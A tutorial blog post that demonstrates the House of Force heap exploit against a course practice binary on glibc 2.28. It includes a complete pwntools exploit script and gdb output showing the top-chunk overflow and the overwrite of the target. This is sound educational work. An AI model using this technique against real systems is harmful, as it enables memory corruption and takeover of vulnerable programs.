House of Force I
April 6th, 2023
Prerequisites
This technique specifically, is just going to be covering an arbitrary write via the House of Force. To see an example of the House of Force resulting in command execution, check the blog post below:
__malloc_hookThis article is not going to cover the heap, how it works, or the functions typically seen in it like malloc, realloc, free, etc. I've already made a super in-depth blog post about that which you can find here if you'd like:
The techniques presented here are going to be pretty technical, so please do your due diligence by making sure you've got the prerequisite understanding down "to a T".
No Integrity Checks
Remember in the previous blog, how we set up a function like the following:
#include <stdlib.h>
int main(void) {
void *p = malloc(1);
return 0;
}Then we set a breakpoint after the call to malloc and basically dissected the allocated chunk from the start of the heap, the chunk header, and user data, all the way to the top chunk.

Well it turns out that up until glibc v2.29, the top chunk, i.e., this part:

Was never prone to integrity checks. This means that up until GLIBC < 2.29, you could just supply any arbitrary value and overflow the heap. If we read the commit from the actual patch, which you can find here:

We can see the general steps that this type of exploit takes in order to compromise the heap. In essence, we're just overflowing the top chunk with a gigantic value such that our next allocation overwrites our target. Let's see this in action!
Top Chunk Overflow
The binary I'm going to be using is called house_of_force and it was given to us after purchasing the "Linux Heap Exploitation - Part 1" course by the amazing Max Kamper.
Before anything, let's just start off by talking about what we're actually trying to do with this binary. The binary will present us with a target during its runtime that we're meant to overwrite.
Let's start by examining the binary:
cr0w@blackbird: ~/documents/binexp/heap/house_of_force
ζ ›› checksec house_of_force
[*] '/home/cr0w/documents/binexp/heap/house_of_force/house_of_force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'../.glibc/glibc_2.28_no-tcache'Cool, and if we interact with it, we can see the following:

The binary leaks the puts function and the start of the heap. As mentioned in the hint above, we're supposed to overwrite a target which we can see if we select option two (2):

As we can see, the target is a series of 7 "X"s. So, let's move on and examine option one (1):

malloc() from the binaryAfter selecting option one (1) in the menu, we're given an input to specify the size for an allocation, this section is presumably doing something simple like the following (although since I haven't reversed this section or seen the source code, I don't really know):
void *p = malloc(size);Next, we're asked to input some data which again, presumably just gets put into the user data section of the allocated heap chunk. That's all we can do for now, so let's attach this to gdb to:
Verify if the
mallocfunction is allocated our specified size of bytes.If the user data of the allocated heap chunk is being populated by our inputted data.
I'll open the binary inside of gdb and just run it:

gdbThe first thing I'm going to do is quit the execution of the binary right now and verify if that heap address actually starts off at that address: 0x603000:
pwndbg> heap
Top chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21001Looks good! Okay, so let's restart with r, and do what we did outside of gdb, inside of gdb this time:
pwndbg> r
Starting program: /home/cr0w/documents/binexp/heap/house_of_force/house_of_force
===============
| HeapLAB | House of Force
===============
puts() @ 0x7ffff786df10
heap @ 0x603000
1) malloc 0/4
2) target
3) quit
> 1
size: 24
data: here's sum data :)Now, after pressing enter, we can ^C and examine the heap:

So, like we've been doing for so long, let's inspect the heap chunks with vis_heap_chunks (vis):

Perfect. It's exactly as we were expecting. We requested 24 bytes which is the minimum amount of user data that can be allocated to us before the chunk gets incremented by 16 bytes from 0x20 to 0x30. Let's actually try to allocate a size of 25 bytes to see this mechanism at play once again (remember, if you have no idea what's going on right now or why it's 16 bytes, read my previous blog post):
pwndbg> c
Continuing.
1) malloc 1/4
2) target
3) quit
> 1
size: 25
data: sum more data here!And now, if we inspect the heap, we can see it worked flawlessly:

0x31 gets allocated, as expectedOkay, so perfect. It worked as intended, now, let's try to see if we can find a bug or something in here. If you recall the no integrity checks section, GLIBC up until version 2.29 didn't have any size integrity checks for the top chunk. This means that we could allocate an arbitrary size with malloc and then write way more than that size is able to hold, effectively overwriting the top chunk as well. Well, first things first, how do we know that this is even a vulnerable version of glibc? If we use the vmmap command, we can see the following:

glibc version in use: 2.28Indeed, It's using a vulnerable version of glibc! We also knew this from the checksec command we ran in the beginning:

glibc version from checksecAnyway, let's try to overflow the top chunk now. We'll start by allocating some bytes and then writing more than what's allocated for us, I'll just use a message (0xdeadbeefcafebabe1337c0ded00d15ea5edbac0ff33db404f0dcafebabefacedfood):

100 bytes to our 24 byte user data chunkNow, if we inspect the heap, we should see that our top chunk has been overwritten:

Boom! We've overwritten the top chunk 😄 Now, let's figure out how we can turn this into something more dangerous like an arbitrary write.
Finding the Target
Hold on a second. Wait a minute! Hold your hor- okay, so where the hell is our target in memory exactly? Well, it's actually pretty easy to find out where our s are. If we run the program, the target's already there waiting to be overwritten so we can just query it using xinfo:

The last line shows that the target is written in the binary's .data section and furthermore, we can see that it's mapped to an address of 0x602010. We're expecting to see an address full of Xs (0x58 in hex) when we inspect it using dq or x/s or something:

Perfect. It's all going so well. Now, how the f*ck are we meant to overwrite our target when it's lower in memory than our goddamn top chunk is? What do I mean by this? Well, let's see the following (professionally designed) table of address values:
0x602010 --> target
0x603000 --> heap
If our target was at an address of something like 0x603010 or something, hell even if it was at an address of 0x700000, we could easily overwrite the target. However, it's not. The target is in a region of memory lower than the top chunk and it's not like we can go backwards, clawing at the walls of the regions of memory lower than the start of the heap at 0x603000 like a bunch of mud gophers or cave moles. ?
Wrap Around
It turns out, if we make the top chunk a big enough value, it'll just start wrapping around until it reaches the target and even more past that point. We'll get this set up in a couple of moments. First, let's get what we've done so far set in an exploit script using pwntools.
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF("house_of_force", checksec=False)
libc = ELF(elf.runpath + b"/libc.so.6", checksec=False)
context.terminal = ['alacritty', '-e']
log.success("glibc 2.28 heap overwrite <<house of force>> (cr0w)")
env = {'LD_BIND_NOW': '1'}
gs = '''
continue
'''
def start():
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs, exe=elf.path, env=env, aslr=1)
else:
return process(elf.path, env=env, aslr=1)
def allocate(size, data):
io.send(b"1") # select 1
io.sendafter(b"size: ", f"{size}".encode())
io.sendafter(b"data: ", data)
io.recvuntil(b"> ") # reach > again for prompt
def diff(x, y):
return (0xffffffffffffffff - x) + y
# print target
target = elf.sym.target
log.success("target (XXXXXXX) @ " + hex(target))
io = start()
# puts() leak
io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
log.success("libc leaked!")
# heap leak
io.recvuntil(b"heap @ ")
heap = int(io.recvline(), 16)
log.success("heap leaked!")
io.recvuntil(b"> ")
io.timeout = 0.1
# begin overflow
log.info("requesting malloc(), size: 24 bytes, data: 'O' * 24 + 0xffffffffffffffff")
log.info("malloc(24, (O * 24 + 0xffffffffffffffff))")
# set the top chunk to 0xffffffffffffffff
allocate(24, b"O" * 24 + p64(0xffffffffffffffff))
log.success("top chunk set to: 0xffffffffffffffff")
log.info("the next allocation will now result in an overwrite!")
displacement = diff(heap + 0x20, elf.sym.target - 0x20)
allocate(displacement, b"A")
io.interactive()I came up with this script which is just a Frankenstein's monster recreation of the original exploit template given to us. I did this from the ground up to better understand what the script was doing exactly and this was immensely beneficial because now I can try my best to explain it to you! We'll explain the script as we progress through it. Right now, we're trying to prove the fact that if we input a big enough value, in this case, the maximum value (0xffffffffffffffff), it'll wrap around to our target (and past it which we need to account for - which we'll see when the time comes). So, let's start the script with the GDB argument so that a gdb session starts simultaneously with our script, which is awesome for debugging:

gdb session Okay, enough, let's figure out what this script is doing.

malloc wrapperHere we're just creating a simple malloc wrapper function that'll enter the data for us whenever the program gives us this dialogue:
===============
| HeapLAB | House of Force
===============
puts() @ 0x7f5006c6df10
heap @ 0xa9b000
1) malloc 0/4
2) target
3) quit
> 1
size: 24
data: this is tedious
This is a function that will return the difference in bytes so that we can figure out our offset to the target. Lastly, we get to this segment of code:

So, in this segment of the code, we get our malloc wrapper function to go through the regular procedure of requesting 24 bytes except in the "data" section of it, it will populate the entire user data with those "O"s you see. Hold on... that means the next bytes it sets will just be overwriting the top chunk. Yes, precisely! This is why we've included that 0xffffffffffffffff address right after the 24 O's, it's because that address will be overwriting the top chunk and it'll make the top chunk this impossibly large value. Furthermore, that address is the maximum value a hexadecimal address can actually be in 64-bit.
pwndbg> print /d 0xffffffffffffffff
$1 = -1So, let's step through this program and see if it's set up in the appropriate manner before we exploit this program! If we ^C in the gdb instance, we get the all-to-familiar:

SIGINT signal interrupt reached, we can debugAt this point of the script's execution, the overflow should've already been done so now it's just a matter of checking the damage:

😰 Well... that's quite a lot of bytes. Let's continue to the start and see what we stumble across there:

Upon first glance, it just seems like "Oh, cool! The target is there" However, if you take a second to really understand where this target is, you'll see the elegance of this exploit. If you recall from the previous examples of allocating memory in the heap with malloc, you'll remember that the first part of the blue memory chunk is the heap chunk header. It includes the size field and some flags for metadata on it. Right after that though, is our user data and would you look at where our target is... The start of the user data section! This means that now if we use malloc to allocate any amount of bytes the first thing that'll get overwritten in the user data is going to be the target! It's set up perfectly to get overwritten. Let's do it.
Overwriting the Target
With the heap perfectly aligned and the target perfectly set up to get overwritten, let's continue the program inside of gdb with c so we can interact with our Python script again:
pwndbg> c
Continuing.
Now, let's use option one (1) and request any size we feel like, I'll stick with 24 bytes:
1) malloc 2/4
2) target
3) quit
> $ 1
size: $ 24
data: $Now, in this data section, whatever we write here will get allocated to the user data area that the target currently occupies. Let's think of something clever:

After we press enter, we can go back into the debugger and ^C to inspect the chunk:

This looks extremely promising and for all intents and purposes, the target has been overwritten, let's do some sanity checks by proving this and printing out the value of the target before trying the same in the actual program to successfully call this a complete pwn.

pwndbg> dq target
0000000000602010 6e696874656d6f73 726576656c632067
0000000000602020 0000000000000a21 000000000120eff9
0000000000602030 0000000000000000 0000000000000000
0000000000602040 0000000000000000 0000000000000000Now, let's continue one last time to see if the target changes on the binary itself.
pwndbg> c
Continuing.
Look at that! We did it! The target's been overwritten. We've completely pwned this binary using the House of Force! Next, we'll cover a case of actual code execution using malloc hooks in the House of Force!
References
Last updated
Was this helpful?

